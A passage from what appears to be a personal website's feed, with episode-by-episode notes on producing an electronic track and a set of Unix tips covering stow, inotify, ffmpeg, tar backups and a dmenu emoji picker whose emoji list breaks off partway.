                    glass, etc. This layering is done by fading in/out
                    different samples in parallel. For example we keep
                    the beginning (transient) of a kick and fade in
                    another hit by removing the transient. We can move
                    samples around, mess around with the mix, adding
                    saturation, reverb, compression, etc. Likely good to
                    add an EQ to finish up the sound, but play
                    around!</li>
                    <li>For electronic music, when the goal is to make
                    things louder, we need to think in terms of loudness
                    over time, not just peak loudness in transients. So
                    for example, if we want our snares to be punchy, we
                    make sure the transient and body are similarly loud
                    for its entire duration.</li>
                    </ul>
                    <h3 id="e02-1">E02</h3>
                    <ul>
                    <li>Cleanup previously recorded sounds by
                    trimming/fading the ends and adjusting the starting
                    points of the samples. Bill adds some
                    glue-compressor/eqs to different tracks.</li>
                    <li>The idea is to use the random sounds and
                    recorded hits to create a new drumkit, using the
                    kick/snare as the “meat” of the percussion, and
                    adding color with the other stuff.</li>
                    <li>Freeze/flatten the adjusted sample channels and
                    check that the warp transients are in the right
                    spots. We can then use “slice to midi track” to
                    create a drum-rack.</li>
                    <li>We can now create a groove by drawing some midi
                    notes on the drum-rack, for example a hit-hat
                    drumrack with different variations across several
                    measures.</li>
                    <li>After creating an initial groove, Bill uses some
                    Tom sound, processed with corpus to create a bassy
                    percussive sound. He adds a couple of parallel
                    corpus instances in an audio effects rack, tuning
                    the sound to the root and 5th. Playing around with
                    the sampler, eq, saturation and compression, a bass
                    is created.</li>
                    <li>Bill uses the bass sound for a polyrhythmic bass
                    sequence. This sequence is then resampled, and
                    messed around even more by using it on a sampler and
                    playing with the pitch envelopes. This process is
                    repeated iteratively, creating strange audio clips
                    with a lot of movement.</li>
                    <li>The 4 produced are then sliced and tuned to a
                    low F (since most audio systems, specially in clubs
                    can handle that kind of sub-bass).</li>
                    </ul>
                    <h3 id="e03-1">E03</h3>
                    <ul>
                    <li>Bill mess with audio files for the bass, adding
                    more dirt and adjusting the beat to match it.</li>
                    <li>A hit of the bass is processed with different
                    EchoBoy delay presets that are rendered to audio.
                    Maybe to use as part of an intro later.</li>
                    <li>He puts a jazzy chord progression in a midi clip
                    and uses an arpeggiator to try to make a bassline,
                    which is worked on for the rest of the episode.</li>
                    </ul>
                    <h3 id="e04-1">E04</h3>
                    <ul>
                    <li>Start the episode by explaining its modular
                    synth setup and messing around with it to get a
                    bunch of weird and interesting sounds.</li>
                    <li>The first done with the modular sounds is to put
                    a snippet in a sampler and playing around with it to
                    layer (double) the melodic bass-line.</li>
                    <li>The jazzy piano sounds are looked at next,
                    trying to add some humanization by altering the
                    velocities and using a “group humanizer” Max plugin
                    to sligtly adjust the timing.</li>
                    <li>Sometimes, weird modular sounds are interspersed
                    between the chords, creating interesting glitchy
                    effects.</li>
                    <li>At this point, Bill works on arranging the main
                    loop with different variations, changing the sonic
                    textures for different sections.</li>
                    </ul>
                    <h3 id="e05-1">E05</h3>
                    <ul>
                    <li>Not much happens in the first half of this
                    episode. Mostly more resampling and changing the
                    initial section with new sounds and different
                    arrangements.</li>
                    <li>Bill plays around with the sub/bass again to try
                    to create a neuro-bass. He actually create several
                    versions of the bass and interweaves a bass sequence
                    between them.</li>
                    </ul>
                    <h3 id="e06-1">E06</h3>
                    <ul>
                    <li>Starts by continue the work creating the bass
                    sequence.</li>
                    <li>As the sequence takes form, Bill uses a bunch of
                    modular sounds, processed or not for transitions and
                    fx.</li>
                    </ul>
                    <h3 id="e07">E07</h3>
                    <ul>
                    <li>After slighly changing the bass sequence, Bill
                    renders the crazy zebra2 jazz chords into a new
                    audio file. When unwarped and tuned down Bill gets
                    inspired to create a new sequence for section
                    B.</li>
                    <li>He reworks the jazzy chords by ear, creating a
                    natural voice leading sound. These chords are
                    experimented on with different sounds (synth chords
                    and arps).</li>
                    <li>These chords serve as a base for the reworked B
                    section, changing the subs and percussion
                    section.</li>
                    <li>Note that he uses a high-pass filter in most
                    tracks to allow the (sub)bass and kick/snares more
                    breathing room.</li>
                    <li>To create the intro, the chords and some 16ths
                    repeat sounds are overlayed with background bar
                    sounds. To build up to the first section an
                    autofilter is used automate a frequency sweep.</li>
                    <li>A crazy resampler plugin (specops) is used on
                    the master channel and resampled with different
                    presets. This gives glitchy sounds that are somewhat
                    related with the original arrangement.</li>
                    </ul>
                    <h3 id="e08-1">E08</h3>
                    <ul>
                    <li>At this point Bill keeps adding details to
                    several points.</li>
                    <li>Some of the resampled sounds from the previous
                    episode are used to lead into the drop. As usual
                    with a bunch of extra processing.</li>
                    <li>Moved the intro a 1/4 note back to lead into a
                    snare hit in isolation, creating a stop-the-world
                    kind of effect.</li>
                    <li>Other resampled bits are used to spice up some
                    sections, replacing or layering chunks to existing
                    spots.</li>
                    </ul>
                    <h3 id="e09-1">E09</h3>
                    <ul>
                    <li>The track needs more and better
                    transitions/risers.</li>
                    <li>Tries to add some tonal stuff to the intro so
                    that it blends with the first drop. For this, some
                    unused walking bass sound is moved to the intro and
                    process to make it a bit more airy, adding some
                    delay and filters.</li>
                    <li>One of the sections is shortened by removing a
                    chill part that didn’t fit too well with the rest of
                    the vibes.</li>
                    <li>Keep adding layers from previously created
                    sounds.</li>
                    </ul>
                    <h3 id="e10-1">E10</h3>
                    <ul>
                    <li>Bill decides to drop the last section and makes
                    a shorter song instead.</li>
                    <li>Along the way, there are some other minor
                    changes to every section. Nothing major, but
                    different sounds are moved around, changed, twisted,
                    layered, etc.</li>
                    <li>In the same way a lot of the tracks in this
                    piece are eq high-passed to give space to the bass,
                    adding/layering sub-bass is a big part of the
                    sound.</li>
                    <li>Some of the noises are made into risers, which I
                    thought sounded pretty cool.</li>
                    </ul>
                    <h3 id="e11">E11</h3>
                    <ul>
                    <li>Starts addressing some snare sounds in the
                    intro. Shaping the transients and eqing.</li>
                    <li>The intro is adapted for the outro, removing the
                    risers, filtering out the chords and adding even
                    more effects on some tracks.</li>
                    <li>The tune is mostly finished, but there may still
                    be some minor adjustments that we can make. For
                    example a touch of reverb on the snare.</li>
                    <li>To try to increase volume as much as possible,
                    bill removes unnecessary frequencies. LUFS is
                    monitored with Insight.</li>
                    <li>Comparing with a reference track, Bill realizes
                    the track is a bit mono and needs some stereo
                    widening. Additionally, he adds an eq on the master
                    and tries to match the same frequency response of
                    the reference track.</li>
                    </ul>
                    <h3 id="e12">E12</h3>
                    <ul>
                    <li>Bill deletes the outro, deciding to keep the
                    shorter version.</li>
                    <li>The mix is sounding good, but he wants to make
                    the snare a bit “clappier” so he layers another
                    sound.</li>
                    <li>Adds some sidechain in a few places to ensure
                    the kick can be properly heard.</li>
                    <li>Some sections needs more risers for better
                    transitions. Bill makes one with Zebra using a pitch
                    envelope and LFO automation.</li>
                    <li>Bill adds some heavily process vocal samples to
                    add some emphasis on the drop.</li>
                    </ul>
                    <h3 id="e13">E13</h3>
                    <ul>
                    <li>The last thing bill adds is a last vocal.</li>
                    <li>Bill imports a couple more reference tracks to
                    start the mastering process. These reference tracks
                    are sent to the external output to avoid passing
                    through the master track.</li>
                    <li>The references are used to compare wideness and
                    volumes. Bill widens the song with an EQ in side
                    mode (cutting lows on the side and high self
                    boosting). Elevate is used to boost the input level.
                    The references are also use to address EQ levels
                    (brightness, mids, lows).</li>
                    <li>After an initial pass through roughly matching
                    reference track levels he mentions that now that is
                    on the ballpark of the reference tracks, he will
                    make some other mixing adjustments to his own
                    preferences and recheck later.</li>
                    <li>Before the final render, Bill sets the plugins
                    on the master to the maximum quality settings. He
                    makes the render at 44.1KHz, 24bit and 16-bit
                    dithering (set on the Elevate plugin).</li>
                    <li>Finally he mentions the process for uploading
                    the track to distribution services and some tips for
                    different platforms.</li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // UNIX</title>
            <link href="https://badd10de.dev//notes/unix.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/unix.html</id>
            <updated>2026-06-16T09:49:25Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="dotfiles">Dotfiles</h2>
                    <p>I keep my dotfiles organize in a git repository
                    using <a
                    href="https://www.gnu.org/software/stow/">GNU’s
                    stow</a> to get them in their respective directories
                    on new machines. I just clone my dotfiles repository
                    on <code>~/.dotfiles</code> and then, for
                    example:</p>
                    <pre><code>cd .dotfiles
stow nvim
stow zsh
...</code></pre>
                    <p>To add new files into the repo, just create a
                    folder in the dotfiles with the proper directory
                    structure, add the config files there and use
                    <code>stow</code> to create the symlinks. For
                    existing files you can do something like this:</p>
                    <pre><code>mkdir -p .dotfiles/helix/.config/
mv .config/helix .dotfiles/helix/config
cd .dotfiles
stow helix</code></pre>
                    <h2 id="tips">Tips</h2>
                    <ul>
                    <li>Stop a blocked SSH session with:
                    &lt;enter&gt;~.</li>
                    </ul>
                    <h2 id="watch-files-for-changes">Watch files for
                    changes</h2>
                    <h3 id="tail">Tail</h3>
                    <p>We can see the output being written to a file by
                    using the <code>tail</code> command.</p>
                    <pre><code>tail -f log/development.log</code></pre>
                    <h3 id="peat">Peat</h3>
                    <p><a href="https://github.com/sjl/peat">Peat</a> is
                    an utility created by <a
                    href="https://stevelosh.com/">Steve Losh</a>, and
                    only depends on Python being installed. You can pipe
                    any command to <code>peat</code> and it will start
                    watching them. If it detects any changes, the
                    argument of peat will be executed:</p>
                    <pre><code>find . -name hello.c | peat &quot;make hello &amp;&amp; ./hello&quot;</code></pre>
                    <h3 id="inotify">Inotify</h3>
                    <p>In Linux, we can use <code>inotify</code> to
                    watch for system changes and act accordingly. In
                    this script you can watch all directories in the
                    current path and execute whatever you pass it as an
                    argument:</p>
                    <pre><code>#!/bin/sh
# Depends on &#39;inotify-tools&#39; package
FORMAT=$(echo -e &quot;\033[1;33m%w%f\033[0m written&quot;)
&quot;$@&quot;
while inotifywait -qre close_write --format &quot;$FORMAT&quot; .
do
    &quot;$@&quot;
done</code></pre>
                    <h2 id="ffmpeg">ffmpeg</h2>
                    <h3 id="transform-flac-to-mp3s">Transform FLAC to
                    MP3s</h3>
                    <pre><code>#!/bin/bash

for a in ./*.flac; do
  &lt; /dev/null ffmpeg -i &quot;$a&quot; -qscale:a 0 &quot;${a[@]/%flac/mp3}&quot;
done</code></pre>
                    <h3 id="capture-x11-desktop">Capture X11
                    desktop</h3>
                    <p>Capture an uncompressed region on the second
                    monitor.</p>
                    <pre><code>ffmpeg -f x11grab \
    -show_region 1 \
    -s 1024x768 \
    -r 30 \
    -i :0.0+2560,0 \
    -qscale 0 \
    -vcodec huffyuv \
    filename.avi</code></pre>
                    <h3
                    id="encode-a-video-to-mp4-with-the-h264-codec">Encode
                    a video to mp4 with the h264 codec</h3>
                    <pre><code>ffmpeg -i filename.avi -vcodec h264 -pix_fmt yuv420p -strict -2 filename.mp4</code></pre>
                    <h3 id="convert-video-to-gif">Convert video to
                    gif</h3>
                    <p>Convert a video to gif, changing the fps, speed
                    it up 2x, adjusting the scale to 1024 and trimming
                    the first second.</p>
                    <pre><code>ffmpeg -ss 1 \
    -i filename.avi \
    -vf &quot;fps=10,setpts=0.5*PTS,scale=1024:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse&quot; \
    -loop 0 \
    filename.gif</code></pre>
                    <h2
                    id="converting-images-for-web-performance">Converting
                    images for web performance</h2>
                    <p>I like to rescale and bitcrush images for using
                    on the web to reduce their size. You can always keep
                    a high resolution image available for when you click
                    on them. ImageMagick to the rescue!</p>
                    <pre><code>convert src_img.jpg -resize 800 -dither FloydSteinberg -depth 3 -colors 5 dst_img.png</code></pre>
                    <h2 id="transfering-files-using-tar">Transfering
                    files using tar</h2>
                    <p>We can use tar to copy files between different
                    machines with ssh access without using rsync or
                    scp:</p>
                    <pre><code>ssh hostname tar -C sources/ -cz linux | pv | tar -xzv</code></pre>
                    <p>Source:
                    gemini://drewdevault.com/2022/02/17/tar-is-good-actually.gmi</p>
                    <h2 id="finding-unique-users-on-nginx-logs">Finding
                    unique users on nginx logs</h2>
                    <pre><code>zgrep -E -i -v &#39;openai|bot|crawler|spider|feed|rss&#39; /var/log/nginx/*access.log* | awk &#39;{print $1}&#39; | sort | uniq | wc -l</code></pre>
                    <h2 id="backup-system-using-tar">Backup system using
                    tar</h2>
                    <pre><code># Create /backup.tar.gz file.
sudo tar czf /backup.tar.gz \
    --exclude=/backup.tar.gz \
    --exclude=/dev \
    --exclude=/mnt \
    --exclude=/proc \
    --exclude=/sys \
    --exclude=/tmp \
    --exclude=/var \
    --exclude=/media \
    --exclude=/lost+found \
    /
# Copy it somewhere
rsync /backup.tar.gz ...
# Restore it
tar xf /path/to/drive/with/backup.tar.gz -C /path/to/mounted/partition</code></pre>
                    <h2 id="dmenu">Dmenu</h2>
                    <p>I have used <code>dmenu</code> for launching
                    programs for more than a decade, but I also use it
                    for a variety of other purposes. For example here is
                    a script for browsing emojis:</p>
                    <pre><code>#!/bin/sh

EMOJI_DB=~/.local/src/scripts/emoji_db

cat $EMOJI_DB | dmenu -p &quot;Emoji:&quot; | sed -s &quot;s/\s*[A-Za-z0-9_+]\+:\s*//&quot; | tr -d &quot;\n\r&quot;</code></pre>
                    <p>Where <code>emoji_db</code> is a simple text file
                    like this:</p>
                    <pre><code>shruggie: ¯\_(ツ)_/¯
table_flip: (╯°□°)╯︵ ┻━┻
double_table_flip: ┻━┻︵ \(°□°)/ ︵ ┻━┻
shocked: (●_●)
happy: (●ᴗ●)
ray_charles: (⌐■_■)
cute_face: (●´ω｀●)
bear: ʕ•ᴥ•ʔ
cat: ฅ^•ﻌ•^ฅ
sleeping: (-_-)
le_lenny: ( ͡° ͜ʖ ͡°)
kissing: ( ˘ ³˘)♥
crying: (╥_╥)
confused: (☉_☉)
copyright_sign: ©️
registered_sign: ®️
double_exclamation_mark: ‼️
exclamation_question_mark: ⁉️
trade_mark_sign: ™️
information_source: ℹ️
left_right_arrow: ↔️
up_down_arrow: ↕️
north_west_arrow: ↖️
north_east_arrow: ↗️
south_east_arrow: ↘️
south_west_arrow: ↙️
leftwards_arrow_with_hook: ↩️
rightwards_arrow_with_hook: ↪️
watch: ⌚
hourglass: ⌛
keyboard: ⌨
eject_symbol: ⏏
black_right-pointing_double_triangle: ⏩
black_left-pointing_double_triangle: ⏪
black_up-pointing_double_triangle: ⏫
black_down-pointing_double_triangle: ⏬
black_right-pointing_double_triangle_with_vertical_bar: ⏭
black_left-pointing_double_triangle_with_vertical_bar: ⏮
black_right-pointing_triangle_with_double_vertical_bar: ⏯
alarm_clock: ⏰
stopwatch: ⏱
timer_clock: ⏲
black_right-pointing_double_triangle: ⏩
hourglass_with_flowing_sand: ⏳
double_vertical_bar: ⏸
black_square_for_stop: ⏹
black_circle_for_record: ⏺
black_small_square: ▪️
white_small_square: ▫️
black_right-pointing_triangle: ▶️
black_left-pointing_triangle: ◀️
white_medium_square: ◻️
black_medium_square: ◼️
white_medium_small_square: ◽
black_medium_small_square: ◾
black_sun_with_rays: ☀️
cloud: ☁️
umbrella: ☂
snowman: ☃
comet: ☄
black_telephone: ☎️
ballot_box_with_check: ☑️
umbrella_with_rain_drops: ☔
hot_beverage: ☕
shamrock: ☘
white_up_pointing_index: ☝️
skull_and_crossbones: ☠
radioactive_sign: ☢
biohazard_sign: ☣
orthodox_cross: ☦
star_and_crescent: ☪
peace_symbol: ☮
yin_yang: ☯
wheel_of_dharma: ☸
white_frowning_face: ☹
white_smiling_face: ☺️
aries: ♈
taurus: ♉
gemini: ♊
cancer: ♋
leo: ♌
virgo: ♍
libra: ♎
scorpius: ♏
sagittarius: ♐
capricorn: ♑
aquarius: ♒
pisces: ♓
black_spade_suit: ♠️
black_club_suit: ♣️
black_heart_suit: ♥️
black_diamond_suit: ♦️
hot_springs: ♨️
black_universal_recycling_symbol: ♻️
wheelchair_symbol: ♿
hammer_and_pick: ⚒
anchor: ⚓
crossed_swords: ⚔
scales: ⚖
alembic: ⚗
gear: ⚙
atom_symbol: ⚛
fleur-de-lis: ⚜
warning_sign: ⚠️
high_voltage_sign: ⚡
medium_white_circle: ⚪
medium_black_circle: ⚫
coffin: ⚰
funeral_urn: ⚱
soccer_ball: ⚽
baseball: ⚾
snowman_without_snow: ⛄
sun_behind_cloud: ⛅
thunder_cloud_and_rain: ⛈
ophiuchus: ⛎
pick: ⛏
helmet_with_white_cross: ⛑
chains: ⛓
no_entry: ⛔
shinto_shrine: ⛩
church: ⛪
mountain: ⛰
umbrella_on_ground: ⛱
fountain: ⛲
flag_in_hole: ⛳
ferry: ⛴
sailboat: ⛵
skier: ⛷
ice_skate: ⛸
person_with_ball: ⛹
tent: ⛺
fuel_pump: ⛽
black_scissors: ✂️
white_heavy_check_mark: ✅
airplane: ✈️
envelope: ✉️
raised_fist: ✊
raised_hand: ✋
victory_hand: ✌️
writing_hand: ✍
pencil: ✏️
black_nib: ✒️
heavy_check_mark: ✔️
heavy_multiplication_x: ✖️
latin_cross: ✝
star_of_david: ✡
sparkles: ✨
eight_spoked_asterisk: ✳️
eight_pointed_black_star: ✴️
snowflake: ❄️
sparkle: ❇️
cross_mark: ❌
negative_squared_cross_mark: ❎
black_question_mark_ornament: ❓
white_question_mark_ornament: ❔
white_exclamation_mark_ornament: ❕
heavy_exclamation_mark_symbol: ❗
heavy_heart_exclamation_mark_ornament: ❣
heavy_black_heart: ❤️
heavy_plus_sign: ➕
heavy_minus_sign: ➖
heavy_division_sign: ➗
black_rightwards_arrow: ➡️
curly_loop: ➰
double_curly_loop: ➿
arrow_pointing_rightwards_then_curving_upwards: ⤴️
arrow_pointing_rightwards_then_curving_downwards: ⤵️
leftwards_black_arrow: ⬅️
upwards_black_arrow: ⬆️
downwards_black_arrow: ⬇️
black_large_square: ⬛
white_large_square: ⬜
white_medium_star: ⭐
heavy_large_circle: ⭕
mahjong_tile_red_dragon: 🀄
playing_card_black_joker: 🃏
negative_squared_latin_capital_letter_a: 🅰️
negative_squared_latin_capital_letter_b: 🅱️
negative_squared_latin_capital_letter_o: 🅾️
negative_squared_latin_capital_letter_p: 🅿️
negative_squared_ab: 🆎
squared_cl: 🆑
squared_cool: 🆒
squared_free: 🆓
squared_id: 🆔
squared_new: 🆕
squared_ng: 🆖
squared_ok: 🆗
squared_sos: 🆘
squared_up_with_exclamation_mark: 🆙
squared_vs: 🆚
squared_katakana_koko: 🈁
squared_katakana_sa: 🈂️
squared_cjk_unified_ideograph-7121: 🈚
squared_cjk_unified_ideograph-6307: 🈯
squared_cjk_unified_ideograph-7981: 🈲
squared_cjk_unified_ideograph-7a7a: 🈳
squared_cjk_unified_ideograph-5408: 🈴
squared_cjk_unified_ideograph-6e80: 🈵
squared_cjk_unified_ideograph-6709: 🈶
squared_cjk_unified_ideograph-6708: 🈷️
squared_cjk_unified_ideograph-7533: 🈸
squared_cjk_unified_ideograph-5272: 🈹
squared_cjk_unified_ideograph-55b6: 🈺
circled_ideograph_advantage: 🉐
circled_ideograph_accept: 🉑
cyclone: 🌀
foggy: 🌁
closed_umbrella: 🌂
night_with_stars: 🌃
sunrise_over_mountains: 🌄
sunrise: 🌅
cityscape_at_dusk: 🌆
sunset_over_buildings: 🌇
rainbow: 🌈
bridge_at_night: 🌉
water_wave: 🌊
volcano: 🌋
milky_way: 🌌
earth_globe_europe-africa: 🌍
earth_globe_americas: 🌎
earth_globe_asia-australia: 🌏
globe_with_meridians: 🌐
new_moon_symbol: 🌑
waxing_crescent_moon_symbol: 🌒
first_quarter_moon_symbol: 🌓
waxing_gibbous_moon_symbol: 🌔
full_moon_symbol: 🌕
waning_gibbous_moon_symbol: 🌖
last_quarter_moon_symbol: 🌗
waning_crescent_moon_symbol: 🌘
crescent_moon: 🌙
new_moon_with_face: 🌚
first_quarter_moon_with_face: 🌛
last_quarter_moon_with_face: 🌜
full_moon_with_face: 🌝
sun_with_face: 🌞
glowing_star: 🌟
shooting_star: 🌠
thermometer: 🌡
white_sun_with_small_cloud: 🌤
white_sun_behind_cloud: 🌥
white_sun_behind_cloud_with_rain: 🌦
cloud_with_rain: 🌧
cloud_with_snow: 🌨
cloud_with_lightning: 🌩
cloud_with_tornado: 🌪
fog: 🌫
wind_blowing_face: 🌬
hot_dog: 🌭
taco: 🌮
burrito: 🌯
chestnut: 🌰
seedling: 🌱
evergreen_tree: 🌲
deciduous_tree: 🌳
palm_tree: 🌴
cactus: 🌵
hot_pepper: 🌶
tulip: 🌷
cherry_blossom: 🌸
rose: 🌹
hibiscus: 🌺
sunflower: 🌻
blossom: 🌼
ear_of_maize: 🌽
ear_of_rice: 🌾
herb: 🌿
four_leaf_clover: 🍀
maple_leaf: 🍁
fallen_leaf: 🍂
leaf_fluttering_in_wind: 🍃
mushroom: 🍄
tomato: 🍅
aubergine: 🍆
grapes: 🍇
melon: 🍈
watermelon: 🍉
tangerine: 🍊
lemon: 🍋
banana: 🍌
pineapple: 🍍
red_apple: 🍎
green_apple: 🍏
pear: 🍐
peach: 🍑
cherries: 🍒
strawberry: 🍓
hamburger: 🍔
slice_of_pizza: 🍕
meat_on_bone: 🍖
poultry_leg: 🍗
rice_cracker: 🍘
rice_ball: 🍙
cooked_rice: 🍚
curry_and_rice: 🍛
steaming_bowl: 🍜
spaghetti: 🍝
bread: 🍞
french_fries: 🍟
roasted_sweet_potato: 🍠
dango: 🍡
oden: 🍢
sushi: 🍣
fried_shrimp: 🍤
fish_cake_with_swirl_design: 🍥
soft_ice_cream: 🍦
shaved_ice: 🍧
ice_cream: 🍨
doughnut: 🍩
cookie: 🍪
chocolate_bar: 🍫
candy: 🍬
lollipop: 🍭
custard: 🍮
honey_pot: 🍯
shortcake: 🍰
bento_box: 🍱
pot_of_food: 🍲
cooking: 🍳
fork_and_knife: 🍴
teacup_without_handle: 🍵
sake_bottle_and_cup: 🍶
wine_glass: 🍷
cocktail_glass: 🍸
tropical_drink: 🍹
beer_mug: 🍺
clinking_beer_mugs: 🍻
baby_bottle: 🍼
fork_and_knife_with_plate: 🍽
bottle_with_popping_cork: 🍾
popcorn: 🍿
ribbon: 🎀
wrapped_present: 🎁
birthday_cake: 🎂
jack-o-lantern: 🎃
christmas_tree: 🎄
father_christmas: 🎅
fireworks: 🎆
firework_sparkler: 🎇
balloon: 🎈
party_popper: 🎉
confetti_ball: 🎊
tanabata_tree: 🎋
crossed_flags: 🎌
pine_decoration: 🎍
japanese_dolls: 🎎
carp_streamer: 🎏
wind_chime: 🎐
moon_viewing_ceremony: 🎑
school_satchel: 🎒
graduation_cap: 🎓
military_medal: 🎖
reminder_ribbon: 🎗
studio_microphone: 🎙
level_slider: 🎚
control_knobs: 🎛
film_frames: 🎞
admission_tickets: 🎟
carousel_horse: 🎠
ferris_wheel: 🎡
roller_coaster: 🎢
fishing_pole_and_fish: 🎣
microphone: 🎤
movie_camera: 🎥
cinema: 🎦
headphone: 🎧
artist_palette: 🎨
top_hat: 🎩
circus_tent: 🎪
ticket: 🎫
clapper_board: 🎬
performing_arts: 🎭
video_game: 🎮
direct_hit: 🎯
slot_machine: 🎰
billiards: 🎱
game_die: 🎲
bowling: 🎳
flower_playing_cards: 🎴
musical_note: 🎵
multiple_musical_notes: 🎶
saxophone: 🎷
guitar: 🎸
musical_keyboard: 🎹
trumpet: 🎺
violin: 🎻
musical_score: 🎼
running_shirt_with_sash: 🎽
tennis_racquet_and_ball: 🎾
ski_and_ski_boot: 🎿
basketball_and_hoop: 🏀
chequered_flag: 🏁
snowboarder: 🏂
runner: 🏃
surfer: 🏄
sports_medal: 🏅
trophy: 🏆
horse_racing: 🏇
american_football: 🏈
rugby_football: 🏉
swimmer: 🏊
weight_lifter: 🏋
golfer: 🏌
racing_motorcycle: 🏍
racing_car: 🏎
cricket_bat_and_ball: 🏏
volleyball: 🏐
field_hockey_stick_and_ball: 🏑
ice_hockey_stick_and_puck: 🏒
table_tennis_paddle_and_ball: 🏓
snow_capped_mountain: 🏔
camping: 🏕
beach_with_umbrella: 🏖
building_construction: 🏗
house_buildings: 🏘
cityscape: 🏙
derelict_house_building: 🏚
classical_building: 🏛
desert: 🏜
desert_island: 🏝
national_park: 🏞
stadium: 🏟
house_building: 🏠
house_with_garden: 🏡
office_building: 🏢
japanese_post_office: 🏣
european_post_office: 🏤
hospital: 🏥
bank: 🏦
automated_teller_machine: 🏧
hotel: 🏨
love_hotel: 🏩
convenience_store: 🏪
school: 🏫
department_store: 🏬
factory: 🏭
izakaya_lantern: 🏮
japanese_castle: 🏯
european_castle: 🏰
waving_white_flag: 🏳
waving_black_flag: 🏴
rosette: 🏵
label: 🏷
badminton_racquet_and_shuttlecock: 🏸
bow_and_arrow: 🏹
amphora: 🏺
rat: 🐀
mouse: 🐁
ox: 🐂
water_buffalo: 🐃
cow: 🐄
tiger: 🐅
leopard: 🐆
rabbit: 🐇
cat: 🐈
dragon: 🐉
crocodile: 🐊
whale: 🐋
snail: 🐌
snake: 🐍
horse: 🐎
ram: 🐏
goat: 🐐
sheep: 🐑
monkey: 🐒
rooster: 🐓
chicken: 🐔
dog: 🐕
pig: 🐖
boar: 🐗
elephant: 🐘
octopus: 🐙
spiral_shell: 🐚
bug: 🐛
ant: 🐜
honeybee: 🐝
lady_beetle: 🐞
fish: 🐟
tropical_fish: 🐠
blowfish: 🐡
turtle: 🐢
hatching_chick: 🐣
baby_chick: 🐤
front-facing_baby_chick: 🐥
bird: 🐦
penguin: 🐧
koala: 🐨
poodle: 🐩
dromedary_camel: 🐪
bactrian_camel: 🐫
dolphin: 🐬
mouse_face: 🐭
cow_face: 🐮
tiger_face: 🐯
rabbit_face: 🐰
cat_face: 🐱
dragon_face: 🐲
spouting_whale: 🐳
horse_face: 🐴
monkey_face: 🐵
dog_face: 🐶
pig_face: 🐷
frog_face: 🐸
hamster_face: 🐹
wolf_face: 🐺
bear_face: 🐻
panda_face: 🐼
pig_nose: 🐽
paw_prints: 🐾
chipmunk: 🐿
eyes: 👀
eye: 👁
ear: 👂
nose: 👃
mouth: 👄
tongue: 👅
white_up_pointing_backhand_index: 👆
white_down_pointing_backhand_index: 👇
white_left_pointing_backhand_index: 👈
white_right_pointing_backhand_index: 👉
fisted_hand_sign: 👊
waving_hand_sign: 👋
ok_hand_sign: 👌
thumbs_up_sign: 👍
thumbs_down_sign: 👎
clapping_hands_sign: 👏
open_hands_sign: 👐
crown: 👑
womans_hat: 👒
eyeglasses: 👓
necktie: 👔
t-shirt: 👕
jeans: 👖
dress: 👗
kimono: 👘
bikini: 👙
womans_clothes: 👚
purse: 👛
handbag: 👜
pouch: 👝
mans_shoe: 👞
athletic_shoe: 👟
high-heeled_shoe: 👠
womans_sandal: 👡
womans_boots: 👢
footprints: 👣
bust_in_silhouette: 👤
busts_in_silhouette: 👥
boy: 👦
girl: 👧
man: 👨
woman: 👩
family: 👪
man_and_woman_holding_hands: 👫
two_men_holding_hands: 👬
two_women_holding_hands: 👭
police_officer: 👮
woman_with_bunny_ears: 👯
bride_with_veil: 👰
person_with_blond_hair: 👱
man_with_gua_pi_mao: 👲
man_with_turban: 👳
older_man: 👴
older_woman: 👵
baby: 👶
construction_worker: 👷
princess: 👸
japanese_ogre: 👹
japanese_goblin: 👺
ghost: 👻
baby_angel: 👼
extraterrestrial_alien: 👽
alien_monster: 👾
imp: 👿
skull: 💀
information_desk_person: 💁
guardsman: 💂
dancer: 💃
lipstick: 💄
nail_polish: 💅
face_massage: 💆
haircut: 💇
barber_pole: 💈
syringe: 💉
pill: 💊
kiss_mark: 💋
love_letter: 💌
ring: 💍
gem_stone: 💎
kiss: 💏
bouquet: 💐
couple_with_heart: 💑
wedding: 💒
beating_heart: 💓
broken_heart: 💔
two_hearts: 💕
sparkling_heart: 💖
growing_heart: 💗
heart_with_arrow: 💘
blue_heart: 💙
green_heart: 💚
yellow_heart: 💛
purple_heart: 💜
heart_with_ribbon: 💝
revolving_hearts: 💞
heart_decoration: 💟
diamond_shape_with_a_dot_inside: 💠
electric_light_bulb: 💡
anger_symbol: 💢
bomb: 💣
sleeping_symbol: 💤
collision_symbol: 💥
splashing_sweat_symbol: 💦
droplet: 💧
dash_symbol: 💨
pile_of_poo: 💩
flexed_biceps: 💪
dizzy_symbol: 💫
speech_balloon: 💬
thought_balloon: 💭
white_flower: 💮
hundred_points_symbol: 💯
money_bag: 💰
currency_exchange: 💱
heavy_dollar_sign: 💲
credit_card: 💳
banknote_with_yen_sign: 💴
banknote_with_dollar_sign: 💵
banknote_with_euro_sign: 💶
banknote_with_pound_sign: 💷
money_with_wings: 💸
chart_with_upwards_trend_and_yen_sign: 💹
seat: 💺
personal_computer: 💻
briefcase: 💼
minidisc: 💽
floppy_disk: 💾
optical_disc: 💿
dvd: 📀
file_folder: 📁
open_file_folder: 📂
page_with_curl: 📃
page_facing_up: 📄
calendar: 📅
tear-off_calendar: 📆
card_index: 📇
chart_with_upwards_trend: 📈
chart_with_downwards_trend: 📉
bar_chart: 📊
clipboard: 📋
pushpin: 📌
round_pushpin: 📍
paperclip: 📎
straight_ruler: 📏
triangular_ruler: 📐
bookmark_tabs: 📑
ledger: 📒
notebook: 📓
notebook_with_decorative_cover: 📔
closed_book: 📕
open_book: 📖
green_book: 📗
blue_book: 📘
orange_book: 📙
books: 📚
name_badge: 📛
scroll: 📜
memo: 📝
telephone_receiver: 📞
pager: 📟
fax_machine: 📠
satellite_antenna: 📡
public_address_loudspeaker: 📢
cheering_megaphone: 📣
outbox_tray: 📤
inbox_tray: 📥
package: 📦
e-mail_symbol: 📧
incoming_envelope: 📨
envelope_with_downwards_arrow_above: 📩
closed_mailbox_with_lowered_flag: 📪
closed_mailbox_with_raised_flag: 📫
open_mailbox_with_raised_flag: 📬
open_mailbox_with_lowered_flag: 📭
postbox: 📮
postal_horn: 📯
newspaper: 📰
mobile_phone: 📱
mobile_phone_with_rightwards_arrow_at_left: 📲
vibration_mode: 📳
mobile_phone_off: 📴
no_mobile_phones: 📵
antenna_with_bars: 📶
